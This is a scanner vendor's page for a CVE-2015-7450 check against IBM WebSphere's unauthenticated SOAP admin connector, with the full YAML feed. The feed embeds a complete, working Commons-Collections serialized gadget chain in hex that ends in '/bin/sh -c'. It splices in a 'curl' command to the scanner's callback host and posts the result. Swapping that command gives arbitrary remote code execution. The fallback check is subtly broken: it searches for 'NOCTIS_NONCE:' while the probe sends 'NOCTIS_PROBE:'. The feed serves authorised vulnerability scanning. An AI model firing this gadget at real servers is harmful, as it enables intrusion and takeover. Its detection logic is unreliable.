IBM WebSphere — 1 vulnerability check

noctis ships 1 vulnerability check for IBM WebSphere, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

IBM WebSphere Application Server SOAP connector Java deserialization RCE

CVECVE-2015-7450
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, wait_oob, match · highest QoD 97
Feedtests/vulnerabilities/websphere/CVE-2015-7450.yaml

Detects IBM WebSphere Application Server's unauthenticated SOAP admin connector (urn:AdminService) Java object deserialization RCE (Apache Commons Collections, CVE-2015-7450). With OOB configured the feed performs real, benign exploitation: it POSTs a genuine serialized Commons-Collections gadget whose only effect is a single outbound HTTP lookup to the noctis OOB server, and confirms the deserialization sink via the callback (QoD 97). Without OOB it falls back to an inert exposure fingerprint (QoD 75): a benign SOAP probe carrying a per-run nonce, reported only when the connector reflects this run's nonce (a non-AdminService control does not) AND advertises a build below the IBM fix level. The exploit payload runs nothing but the lookup — no shell beyond the GET, no file write, no webshell, no exfil, no destructive effect.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST / with a crafted body
  4. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: IBM WebSphere SOAP connector Java deserialization RCE confirmed via OOB (CVE-2015-7450)
  5. HTTP(S) request POST / with a crafted body
  6. HTTP(S) request POST / with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Checks soap_resp.body for WAS-Build-Version: [0-9]+\.[0-9]+\.[0-9]+\.[0-9]+ → finding QoD 75: IBM WebSphere SOAP connector exposed with vulnerable build (CVE-2015-7450)

References:

Feed source — tests/vulnerabilities/websphere/CVE-2015-7450.yaml
# IBM WebSphere Application Server — Java object deserialization RCE via the
# SOAP management connector / Apache Commons Collections (CVE-2015-7450, CISA KEV).
#
# ── Two detection methods, highest QoD wins ─────────────────────────────────
#
#   Method 1 — REAL exploitation (QoD 97, OOB-confirmed) ─────────────────────
#     The genuine CVE-2015-7450 vector: POST a SOAP `urn:AdminService` request
#     carrying a base64-encoded serialized Java object (a real Apache
#     Commons-Collections gadget chain) to the unauthenticated SOAP connector.
#     A vulnerable WebSphere AdminService deserializes it; the gadget's ONLY
#     effect is one outbound HTTP lookup to the noctis OOB server at
#     http://{{oob_host}}:{{oob_port}}/{{oob_token}}. `wait_oob` then confirms
#     the callback → the deserialization sink executed our payload. This is a
#     confirmed-exploitation finding, not a fingerprint.
#
#     The gadget is assembled at scan time (`build-gadget`): a fixed, byte-exact
#     Commons-Collections6 serialized skeleton (HashSet → TiedMapEntry → LazyMap
#     → ChainedTransformer → InvokerTransformer → Runtime.exec(String[])) with
#     this run's OOB URL spliced into the terminal `exec` argv as the sole
#     variable field (length-prefixed String). The command is strictly
#     `curl -s <oob_url>` — a single benign GET. The payload NEVER executes
#     anything else: no shell beyond the lookup, no file/write/webshell, no
#     exfil, no destructive action. OOB steps are guarded by
#     `condition: "oob_enabled"` and do not run unless `--oob` is configured.
#
#   Method 2 — inert exposure fingerprint (QoD 75, no OOB) ───────────────────
#     Fallback when OOB is not configured. Sends only a benign, well-formed SOAP
#     AdminService envelope carrying a per-run nonce — never a serialized object
#     — and reports only when all hold: the unauthenticated connector returns a
#     500 SOAP fault, reflects THIS run's nonce (a non-AdminService control POST
#     does NOT), and advertises a WAS build below the IBM fix level for its
#     branch (6.1.0.x all; 7.0.0.<39; 8.0.0.<12; 8.5.5.<8 — PI53379). A patched
#     WAS exposes the same connector but advertises a fixed build, so it is not
#     reported.
#
# References:
#   - https://nvd.nist.gov/vuln/detail/CVE-2015-7450
#   - IBM Security Bulletin / interim fix PI53379
#   - Nuclei http/cves/2015/CVE-2015-7450.yaml (gadget-based PoC)
#   - https://www.rapid7.com/db/modules/exploit/multi/misc/ibm_websphere_java_deserialize/
uid: 1bc4d51d-faa5-4d9f-939f-0db63744ba50
name: "IBM WebSphere Application Server SOAP connector Java deserialization RCE (CVE-2015-7450)"
description: |
  Detects IBM WebSphere Application Server's unauthenticated SOAP admin
  connector (urn:AdminService) Java object deserialization RCE (Apache Commons
  Collections, CVE-2015-7450). With OOB configured the feed performs real,
  benign exploitation: it POSTs a genuine serialized Commons-Collections gadget
  whose only effect is a single outbound HTTP lookup to the noctis OOB server,
  and confirms the deserialization sink via the callback (QoD 97). Without OOB
  it falls back to an inert exposure fingerprint (QoD 75): a benign SOAP probe
  carrying a per-run nonce, reported only when the connector reflects this run's
  nonce (a non-AdminService control does not) AND advertises a build below the
  IBM fix level. The exploit payload runs nothing but the lookup — no shell
  beyond the GET, no file write, no webshell, no exfil, no destructive effect.
cves: [CVE-2015-7450]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
  - websphere
  - ibm
  - was
  - deserialization
  - commons-collections
  - soap
  - rce
  - oob
  - intrusive
  - kev
services:
  - http
  - https
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7450"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-7450.yaml"
  - "https://www.rapid7.com/db/?q=CVE-2015-7450"

steps:
  # Fresh 32-hex per-run nonce (noctis[0-9a-f]{32} shape) for the inert branch.
  - id: gen-nonce
    action: script
    code: |
      "noctis" + rand_hex(16)
    store_as: nonce

  # Seed every var a later script assigns / a condition reads, so no condition
  # ever evaluates an undefined Rhai var (which throws and is silently skipped).
  - id: init-soap-reflected
    action: set_var
    var_name: soap_reflected
    var_value: false

  - id: init-control-reflected
    action: set_var
    var_name: control_reflected
    var_value: false

  - id: init-vuln-build
    action: set_var
    var_name: is_vuln_build
    var_value: false

  # ── Method 1: REAL exploitation — SOAP AdminService deserialization + OOB ──
  # Guarded by condition: "oob_enabled" — skipped entirely unless --oob is set.

  # Fixed byte-exact Commons-Collections6 serialized skeleton, split around the
  # single variable field (the terminal exec command string). Generated once
  # with ysoserial-equivalent Java (HashSet→TiedMapEntry→LazyMap→
  # ChainedTransformer→InvokerTransformer→Runtime.exec(String[]{"/bin/sh","-c",
  # <cmd>})). gadget_prefix_hex ends with the TC_STRING tag of <cmd>;
  # gadget_suffix_hex is everything after <cmd>'s bytes.
  - id: init-gadget-prefix
    action: set_var
    var_name: gadget_prefix_hex
    var_value: "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b78707400066e6f637469737372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e00137571007e001800000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400072f62696e2f73687400022d6374"

  - id: init-gadget-suffix
    action: set_var
    var_name: gadget_suffix_hex
    var_value: "740004657865637571007e001b000000017671007e002c7371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878"

  # Splice THIS run's OOB URL into the gadget's terminal exec argv as a benign
  # single-GET command, then base64-encode the raw serialized bytes. The command
  # is the ONLY thing the deserialization executes.
  - id: build-gadget
    action: script
    condition: "oob_enabled"
    store_as: gadget_b64
    code: |
      let cmd = "curl -s http://" + oob_host + ":" + oob_port.to_string() + "/" + oob_token;
      let gadget_hex = gadget_prefix_hex + p16be(strlen(cmd)) + hexstr(cmd) + gadget_suffix_hex;
      base64_encode_hex(gadget_hex)

  # POST the serialized gadget to the unauthenticated SOAP AdminService
  # connector — the genuine CVE-2015-7450 vector. A vulnerable WAS deserializes
  # it and the gadget fires the OOB lookup.
  - id: soap-deser
    action: http_request
    condition: "oob_enabled"
    method: POST
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    headers:
      Content-Type: "text/xml; charset=utf-8"
      SOAPAction: "urn:AdminService"
    body: "<?xml version='1.0' encoding='UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><SOAP-ENV:Body><ns1:invoke xmlns:ns1=\"urn:AdminService\"><objectData xsi:type=\"xsd:base64Binary\">{{gadget_b64}}</objectData></ns1:invoke></SOAP-ENV:Body></SOAP-ENV:Envelope>"
    store_as: deser_resp

  # Confirm the deserialization sink executed our payload: the target called
  # back to the OOB server. QoD 97 — confirmed exploitation.
  - id: wait-callback
    action: wait_oob
    condition: "oob_enabled"
    oob_timeout_secs: 20
    store_as: oob_result
    on_success:
      finding:
        title: "IBM WebSphere SOAP connector Java deserialization RCE confirmed via OOB (CVE-2015-7450)"
        description: "The unauthenticated WebSphere SOAP admin connector (urn:AdminService) deserialized a Java object we supplied and executed its payload, which performed an outbound HTTP lookup to the noctis OOB server — confirming remote code execution via Apache Commons Collections (CVE-2015-7450). The payload's only effect was the benign OOB lookup."
        remediation: "Apply IBM interim fix PI53379 / upgrade to a fixed WAS fixpack (7.0.0.39+, 8.0.0.12+, 8.5.5.8+), restrict the SOAP connector to trusted networks, and enable administrative security."
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "OOB callback received from WebSphere deserialization payload: {{oob_result.body}}"
      stop: true

  # ── Method 2: inert exposure fingerprint (QoD 75) — runs when OOB is off,
  #    or when the OOB callback did not arrive. ───────────────────────────────

  # Benign SOAP AdminService probe — a well-formed envelope with NO serialized
  # object, carrying the per-run nonce in a plain text node.
  - id: soap-probe
    action: http_request
    method: POST
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/xml; charset=utf-8"
      SOAPAction: "urn:AdminService"
    body: "<?xml version='1.0' encoding='UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"><SOAP-ENV:Body><noctis:ping xmlns:noctis=\"urn:noctis\">NOCTIS_PROBE:{{nonce}}</noctis:ping></SOAP-ENV:Body></SOAP-ENV:Envelope>"
    store_as: soap_resp

  # Benign control POST — same nonce, but WITHOUT the SOAPAction header.
  - id: control-probe
    action: http_request
    method: POST
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/xml; charset=utf-8"
    body: "<?xml version='1.0' encoding='UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"><SOAP-ENV:Body><noctis:ping xmlns:noctis=\"urn:noctis\">NOCTIS_PROBE:{{nonce}}</noctis:ping></SOAP-ENV:Body></SOAP-ENV:Envelope>"
    store_as: control_resp

  - id: evaluate-signals
    action: script
    condition: "soap_resp.status == 500"
    store_as: eval_result
    code: |
      let n = nonce;
      soap_reflected = soap_resp.body.contains("NOCTIS_NONCE:" + n);
      control_reflected = control_resp.body.contains(n);
      let m = eregmatch("WAS-Build-Version: ([0-9]+)\\.([0-9]+)\\.([0-9]+)\\.([0-9]+)", soap_resp.body);
      if m.len() > 4 {
        let a = int(m[1]);
        let b = int(m[2]);
        let c = int(m[3]);
        let d = int(m[4]);
        if a == 6 && b == 1 {
          is_vuln_build = true;
        } else if a == 7 && b == 0 && c == 0 && d < 39 {
          is_vuln_build = true;
        } else if a == 8 && b == 0 && c == 0 && d < 12 {
          is_vuln_build = true;
        } else if a == 8 && b == 5 && c == 5 && d < 8 {
          is_vuln_build = true;
        }
      }
      is_vuln_build

  - id: report
    action: match
    source: soap_resp.body
    pattern: "WAS-Build-Version: [0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+"
    condition: "soap_resp.status == 500 && soap_reflected == true && control_reflected == false && is_vuln_build == true"
    on_match:
      finding:
        title: "IBM WebSphere SOAP connector exposed with vulnerable build (CVE-2015-7450)"
        description: "The unauthenticated WebSphere SOAP admin connector (urn:AdminService) is reachable, reflected this run's nonce, and advertises a WAS build below the IBM fix level for CVE-2015-7450 — the Java object deserialization (Apache Commons Collections) RCE attack surface. This inert fallback sent no serialized object; run with --oob to confirm exploitation (QoD 97)."
        remediation: "Apply IBM interim fix PI53379 / upgrade to a fixed WAS fixpack (7.0.0.39+, 8.0.0.12+, 8.5.5.8+), restrict the SOAP connector to trusted networks, and enable administrative security."
        confidence_delta: 0.45
        qod: 75
        evidence: "WebSphere SOAP AdminService connector reflected per-run nonce and advertised a vulnerable build: {{soap_resp.body}}"
      stop: true

View these feeds on GitHub